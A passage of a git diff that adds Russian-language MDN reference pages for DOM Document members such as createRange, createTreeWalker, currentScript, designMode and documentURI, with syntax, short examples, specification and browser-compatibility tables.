+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("DOMImplementation.createDocument", "document.implementation.createDocument()")}}</li>
+ <li>{{domxref("documentFragment")}}</li>
+</ul>
diff --git a/files/ru/web/api/document/createrange/index.html b/files/ru/web/api/document/createrange/index.html
new file mode 100644
index 0000000000..823af66676
--- /dev/null
+++ b/files/ru/web/api/document/createrange/index.html
@@ -0,0 +1,33 @@
+---
+title: Document.createRange()
+slug: Web/API/Document/createRange
+translation_of: Web/API/Document/createRange
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Возвращает новый объект типа {{domxref("Range")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">range = document.createRange();
+</pre>
+
+<p><code>range</code> содержит созданный объект {{domxref("Range")}}.</p>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:js">var range = document.createRange();
+
+range.setStart(startNode, startOffset);
+range.setEnd(endNode, endOffset);
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>После того, как Range был создан, Вам необходимо установить границы, прежде чем вы сможете использовать большую часть методов.</p>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level2-DocumentRange-method-createRange">DOM Level 2 Range: DocumentRange.createRange</a></li>
+</ul>
diff --git a/files/ru/web/api/document/createtextnode/index.html b/files/ru/web/api/document/createtextnode/index.html
new file mode 100644
index 0000000000..a076f8316f
--- /dev/null
+++ b/files/ru/web/api/document/createtextnode/index.html
@@ -0,0 +1,120 @@
+---
+title: Document.createTextNode()
+slug: Web/API/Document/createTextNode
+translation_of: Web/API/Document/createTextNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Создает новый текстовый узел.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>var text</var> = document.createTextNode(<var>data</var>);
+</pre>
+
+<ul>
+ <li><code>text</code> - это текстовый узел.</li>
+ <li><code>data</code> - это строка с данными, которые будут помещены в текстовый узел.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;title&gt;createTextNode example&lt;/title&gt;
+&lt;script&gt;
+function addTextNode(text) {
+  var newtext = document.createTextNode(text),
+      p1 = document.getElementById("p1");
+
+  p1.appendChild(newtext);
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+  &lt;button onclick="addTextNode('YES! ');"&gt;YES!&lt;/button&gt;
+  &lt;button onclick="addTextNode('NO! ');"&gt;NO!&lt;/button&gt;
+  &lt;button onclick="addTextNode('WE CAN! ');"&gt;WE CAN!&lt;/button&gt;
+
+  &lt;hr /&gt;
+
+  &lt;p id="p1"&gt;First line of paragraph.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#ID-1975348127", "Document.createTextNode()")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#ID-1975348127", "Document.createTextNode()")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/document/createtreewalker/index.html b/files/ru/web/api/document/createtreewalker/index.html
new file mode 100644
index 0000000000..452fb1651e
--- /dev/null
+++ b/files/ru/web/api/document/createtreewalker/index.html
@@ -0,0 +1,155 @@
+---
+title: Document.createTreeWalker()
+slug: Web/API/Document/createTreeWalker
+translation_of: Web/API/Document/createTreeWalker
+---
+<div>{{ApiRef("Document")}}</div>
+
+<div>Вызов метода <code><strong>Document.createTreeWalker()</strong></code> возвращает новый объект класса  {{domxref("TreeWalker")}}.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>document</em>.createTreeWalker(<em>root</em>, <em>whatToShow</em>[, <em>filter</em>[, <em>entityReferenceExpansion</em>]]);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>root </code></dt>
+ <dd>корневой узел {{domxref("Node")}} для {{domxref("TreeWalker")}}. Чаще всего это элемент принадлежащий document.</dd>
+ <dt><code>whatToShow</code> {{optional_inline}}</dt>
+ <dd>A <code>unsigned long</code> representing a bitmask created by combining the constant properties of <code><a href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#Traversal-NodeFilter">NodeFilter</a></code>. It is a convenient way of filtering for certain types of node. It defaults to <code>0xFFFFFFFF</code> representing the <code>SHOW_ALL</code> constant.
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td class="header">Константа</td>
+    <td class="header">Числовое значение</td>
+    <td class="header">Описание</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ALL</code></td>
+    <td><code>-1</code> (that is the max value of <code>unsigned long</code>)</td>
+    <td>Показывать все узлы.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ATTRIBUTE</code> {{deprecated_inline}}</td>
+    <td><code>2</code></td>
+    <td>Shows attribute {{domxref("Attr")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with an {{domxref("Attr")}} node as its root; in this case, it means that the attribute node will appear in the first position of the iteration or traversal. Since attributes are never children of other nodes, they do not appear when traversing over the document tree.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_CDATA_SECTION</code> {{deprecated_inline}}</td>
+    <td><code>8</code></td>
+    <td>Shows {{domxref("CDATASection")}} nodes.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_COMMENT</code></td>
+    <td><code>128</code></td>
+    <td>Shows {{domxref("Comment")}} nodes.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_DOCUMENT</code></td>
+    <td><code>256</code></td>
+    <td>Shows {{domxref("Document")}} nodes.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_DOCUMENT_FRAGMENT</code></td>
+    <td><code>1024</code></td>
+    <td>Shows {{domxref("DocumentFragment")}} nodes.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_DOCUMENT_TYPE</code></td>
+    <td><code>512</code></td>
+    <td>Shows {{domxref("DocumentType")}} nodes.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ELEMENT</code></td>
+    <td><code>1</code></td>
+    <td>Shows {{domxref("Element")}} nodes.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ENTITY</code> {{deprecated_inline}}</td>
+    <td><code>32</code></td>
+    <td>Shows {{domxref("Entity")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with an {{domxref("Entity")}} node as its root; in this case, it means that the {{domxref("Entity")}} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ENTITY_REFERENCE</code> {{deprecated_inline}}</td>
+    <td><code>16</code></td>
+    <td>Shows {{domxref("EntityReference")}} nodes.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_NOTATION</code> {{deprecated_inline}}</td>
+    <td><code>2048</code></td>
+    <td>Shows {{domxref("Notation")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with a {{domxref("Notation")}} node as its root; in this case, it means that the {{domxref("Notation")}} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_PROCESSING_INSTRUCTION</code></td>
+    <td><code>64</code></td>
+    <td>Shows {{domxref("ProcessingInstruction")}} nodes.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_TEXT</code></td>
+    <td><code>4</code></td>
+    <td>Shows {{domxref("Text")}} nodes.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><code>filter</code> {{optional_inline}}</dt>
+ <dd>A {{domxref("NodeFilter")}}, that is an object with a method <code>acceptNode</code>, which is called by the {{domxref("TreeWalker")}} to determine whether or not to accept a node that has passed the <code>whatToShow</code> check.</dd>
+ <dt><code>entityReferenceExpansion</code> {{optional_inline}} {{obsolete_inline}}</dt>
+ <dd>A {{domxref("Boolean")}} flag indicating if when discarding an {{domxref("EntityReference")}} its whole sub-tree must be discarded at the same time.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A new {{domxref("TreeWalker")}} object.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>The following example goes through all nodes in the body, reduces the set of nodes to elements, simply passes through as acceptable each node (it could reduce the set in the <code>acceptNode()</code> method instead), and then makes use of tree walker iterator that is created to advance through the nodes (now all elements) and push them into an array.</p>
+
+<pre class="brush: js">var treeWalker = document.createTreeWalker(
+  document.body,
+  NodeFilter.SHOW_ELEMENT,
+  { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+  false
+);
+
+var nodeList = [];
+
+while(treeWalker.nextNode()) nodeList.push(treeWalker.currentNode);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-document-createtreewalker', 'Document.createTreeWalker')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Removed the <code>expandEntityReferences</code> parameter. Made the <code>whatToShow</code> and <code>filter</code> parameters optionals.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#NodeIteratorFactory-createTreeWalker', 'Document.createTreeWalker')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Document.createTreeWalker")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The interface of the object it creates: {{domxref("TreeWalker")}}.</li>
+</ul>
diff --git a/files/ru/web/api/document/currentscript/index.html b/files/ru/web/api/document/currentscript/index.html
new file mode 100644
index 0000000000..e4d3849b73
--- /dev/null
+++ b/files/ru/web/api/document/currentscript/index.html
@@ -0,0 +1,110 @@
+---
+title: Document.currentScript
+slug: Web/API/Document/currentScript
+translation_of: Web/API/Document/currentScript
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>Возвращает элемент {{HTMLElement("script")}}, который выполняется в данный момент.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>curScriptElement</var> = document.currentScript;
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Этот пример проверяет, выполняется ли текущий скрипт асинхронно:</p>
+
+<pre class="brush:js">if (document.currentScript.async) {
+  console.log("Executing asynchronously");
+} else {
+  console.log("Executing synchronously");
+}</pre>
+
+<p><a href="/samples/html/currentScript.html">Посмотреть живые примеры</a></p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Важно заметить, что элемент {{HTMLElement("script")}} не будет соответствовать текущему, если он выполняется внутри callback'a или event handler'a; он будет соответствовать элементу только при начальном выполнении скрипта.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "dom.html#dom-document-currentscript", "Document.currentScript")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(29.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTMLElement("script")}}</li>
+ <li>{{domxref("element.onafterscriptexecute")}}</li>
+ <li>{{domxref("element.onbeforescriptexecute")}}</li>
+</ul>
diff --git a/files/ru/web/api/document/defaultview/index.html b/files/ru/web/api/document/defaultview/index.html
new file mode 100644
index 0000000000..fb38bdabd4
--- /dev/null
+++ b/files/ru/web/api/document/defaultview/index.html
@@ -0,0 +1,50 @@
+---
+title: Document.defaultView
+slug: Web/API/Document/defaultView
+tags:
+  - API
+  - DOM
+  - Property
+translation_of: Web/API/Document/defaultView
+---
+<div>{{ ApiRef() }}</div>
+
+<p>В браузерах возвращает объект <a href="/en-US/docs/DOM/window" title="DOM/window">window</a>, который связан с document текущей страницы или <code>null</code> если document не доступен.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var win = document.defaultView;</pre>
+
+<p>Это свойство доступно только для чтения.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-defaultview', 'Document.defaultView')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-document-defaultview', 'Document.defaultView')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_поддержка">Браузерная поддержка</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.defaultView")}}</p>
diff --git a/files/ru/web/api/document/designmode/index.html b/files/ru/web/api/document/designmode/index.html
new file mode 100644
index 0000000000..9eb7f429d6
--- /dev/null
+++ b/files/ru/web/api/document/designmode/index.html
@@ -0,0 +1,65 @@
+---
+title: Document.designMode
+slug: Web/API/Document/designMode
+tags:
+  - API
+  - DOM
+  - Document
+  - HTML
+  - JS
+  - designmode
+  - editor
+translation_of: Web/API/Document/designMode
+---
+<div>{{ ApiRef() }}</div>
+
+<p><code>document.designMode</code> переключает режим редактирования для всего документа. Допустимые значения: "on" и "off". В соответствии со спецификацией, это свойство по умолчанию имеет значение "off". Firefox следует этому стандарту. В более ранних версии Chrome и IE это свойство по умолчанию имеет значение "inherit". Начиная с Chrome 43 значение по умолчанию "off", а значение "inherit" более не поддерживается. В IE6-10 значение должно быть указанно с большой буквы ("On" и "Off") </p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre><code>var mode = document.designMode;
+document.designMode = "on" </code>|| "off";</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Включить режим редактирования для {{HTMLElement("iframe")}} :</p>
+
+<pre><code>iframeNode</code>.contentDocument.designMode = "on";
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#making-entire-documents-editable:-the-designmode-idl-attribute', 'designMode')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Начальное значение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами" style="font-size: 2.14285714285714rem;">Совместимость с браузерами</h2>
+
+
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.designMode")}}</p>
+
+
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Rich-Text_Editing_in_Mozilla">Rich-Text Editing в Mozilla</a></li>
+ <li>{{domxref("HTMLElement.contentEditable")}}</li>
+ <li><a href="https://msdn.microsoft.com/ru-ru/library/ms533720(v=vs.85).aspx">Свойство designMode</a> на MSDN</li>
+</ul>
diff --git a/files/ru/web/api/document/dir/index.html b/files/ru/web/api/document/dir/index.html
new file mode 100644
index 0000000000..adfe8dfa7b
--- /dev/null
+++ b/files/ru/web/api/document/dir/index.html
@@ -0,0 +1,63 @@
+---
+title: Document.dir
+slug: Web/API/Document/dir
+tags:
+  - API
+  - Document
+  - Property
+translation_of: Web/API/Document/dir
+---
+<p>{{ApiRef("")}}</p>
+
+<p>Свойство<strong> </strong><code><strong>Document.dir</strong></code> является строкой {{domxref("DOMString")}} показывает направление текста на странице (слева направо или справа налево).</p>
+
+<p><u>Возможные значения:</u></p>
+
+<ul>
+ <li><code>'ltr'</code> - слева направо</li>
+ <li>
+  <p><code>'rtl'</code> - справа налево</p>
+ </li>
+</ul>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js" dir="rtl"><em>dirStr</em> = <em>document.</em>dir;
+<em>document.dir</em> = <em>dirStr;</em></pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table" style='color: #333333; font-family: "Open Sans",arial,x-locale-body,sans-serif;'>
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "dom.html#the-dir-attribute:dom-dir", "Document.dir")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.dir")}}</p>
+
+<p> </p>
+
+<h2 id="Связанные_события">Связанные события</h2>
+
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/library/ms533731.aspx" rel="freelink">http://msdn.microsoft.com/en-us/library/ms533731.aspx</a></li>
+</ul>
diff --git a/files/ru/web/api/document/doctype/index.html b/files/ru/web/api/document/doctype/index.html
new file mode 100644
index 0000000000..1715e06fc2
--- /dev/null
+++ b/files/ru/web/api/document/doctype/index.html
@@ -0,0 +1,63 @@
+---
+title: Document.doctype
+slug: Web/API/Document/doctype
+tags:
+  - ДОМ
+  - Документ
+  - Отсылка
+  - Свойство
+  - Справка
+translation_of: Web/API/Document/doctype
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>Возвращает Описание Типа Документа (Document Type Declaration, DTD) относительно текущего документа. Возвращаемый объект обеспечивает выполнение {{domxref("DocumentType")}} интерфейса. Используйте {{domxref("DOMImplementation.createDocumentType()")}} для создания <code>DocumentType</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>doctype</var> = <var>document</var>.doctype;
+</pre>
+
+<ul>
+ <li><code>doctype</code> - свойство только для четния.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js">var doctypeObj = document.doctype;
+
+console.log(
+  "doctypeObj.name: "           + doctypeObj.name            + "\n" +
+  "doctypeObj.internalSubset: " + doctypeObj.internalSubset  + "\n" +
+  "doctypeObj.publicId: "       + doctypeObj.publicId        + "\n" +
+  "doctypeObj.systemId: "       + doctypeObj.systemId
+);</pre>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Свойство возвращает <code>null</code>, если не существует DTD связанного с текущим документом.</p>
+
+<p>DOM уровня 2 не поддерживает редактирование описания типа документа.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-document-doctype', 'Document: doctype')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Document.doctype")}}</p>
diff --git a/files/ru/web/api/document/document/index.html b/files/ru/web/api/document/document/index.html
new file mode 100644
index 0000000000..7dee15e364
--- /dev/null
+++ b/files/ru/web/api/document/document/index.html
@@ -0,0 +1,52 @@
+---
+title: Document()
+slug: Web/API/Document/Document
+tags:
+  - API
+  - ДОМ
+  - Документ
+  - Конструктор
+translation_of: Web/API/Document/Document
+---
+<p>{{APIRef}}{{Non-standard_header}}</p>
+
+<p><strong><code>Document</code></strong> конструктор создает новый {{domxref("Document")}} объект, который является веб-страницей, загруженной в браузере  и служит точкой входа в содержание страницы.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>document</em> = new Document()</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Нету.</p>
+
+<p><span style='background-color: #333333; color: #ffffff; font-family: x-locale-heading-primary,zillaslab,Palatino,"Palatino Linotype",x-locale-heading-secondary,serif; font-size: 1.5rem;'>Спецификация</span></p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-document','Document')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_Браузерами">Совместимость с Браузерами</h2>
+
+<div> </div>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.Document")}}</p>
+
+<p> </p>
diff --git a/files/ru/web/api/document/documentelement/index.html b/files/ru/web/api/document/documentelement/index.html
new file mode 100644
index 0000000000..27344558f8
--- /dev/null
+++ b/files/ru/web/api/document/documentelement/index.html
@@ -0,0 +1,44 @@
+---
+title: Document.documentElement
+slug: Web/API/Document/documentElement
+tags:
+  - 'API,'
+  - DOM
+  - Свойство
+  - Ссылка
+  - Только для чтения
+translation_of: Web/API/Document/documentElement
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p> <code><strong>Document.documentElement</strong></code> - свойство только для чтения, которое возвращает элемент <a href="/en-US/docs/DOM/element"><code>Element</code></a> , который является коренным элементом документа  <a href="/en-US/docs/DOM/document"><code>document</code></a> (например элемент <code>&lt;html&gt;</code> для HTML документов).</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>element</em> = document.documentElement;
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">var rootElement = document.documentElement;
+var firstTier = rootElement.childNodes;
+
+// firstTier -переменная объекта NodeList непосредственных потомков корневого элемента
+for (var i = 0; i &lt; firstTier.length; i++) {
+   // что-то делает с каждым прямым потомком корневого элемента
+   // как и firstTier[i]
+}</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>Это свойство удобно только для чтения для получения корневого элемента, связанного с любым документом.</p>
+
+<p>HTML документ обычно содержит один дочерний узел - <code>&lt;html&gt;</code>,  возможно с объявлением  DOCTYPE перед ним. XML документы часто содержат множественные  дочерние узлы: корневой элемент, объявление DOCTYPE, и <a href="/en-US/docs/DOM/ProcessingInstruction"> инструкции по обработке</a>.</p>
+
+<p>Поэтому вам стоит использовать <code>document.documentElement</code> вместо {{Domxref("document.firstChild")}} для доступа к корневому элементу.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-87CD092">DOM Level 2 Core: Document.documentElement</a></li>
+</ul>
diff --git a/files/ru/web/api/document/documenturi/index.html b/files/ru/web/api/document/documenturi/index.html
new file mode 100644
index 0000000000..ca57ddec41
--- /dev/null
+++ b/files/ru/web/api/document/documenturi/index.html
@@ -0,0 +1,113 @@
+---
+title: Document.documentURI
+slug: Web/API/Document/documentURI
+translation_of: Web/API/Document/documentURI
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>Свойство <code><strong>documentURI</strong></code> интерфейса {{domxref("Document")}} возвращает строку с текущим адресом документа.</p>
+
+<p>Первоначально определено в DOM3 как атрибут для чтения и записи. В спецификации DOM4 это свойство доступно только для чтения.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js"><code>var string = document.documentURI;</code>
+</pre>
+
+<h2 id="Примечание">Примечание</h2>
+
+<p>HTML документы содержат свойство {{domxref("document.URL")}} которое возвращает то же значение. Но в отличие от  <code>URL</code>, свойство <code>documentURI</code> доступно для всех типов документов.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-document-documenturi','documentURI')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', '#Document3-documentURI', 'documentURI')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
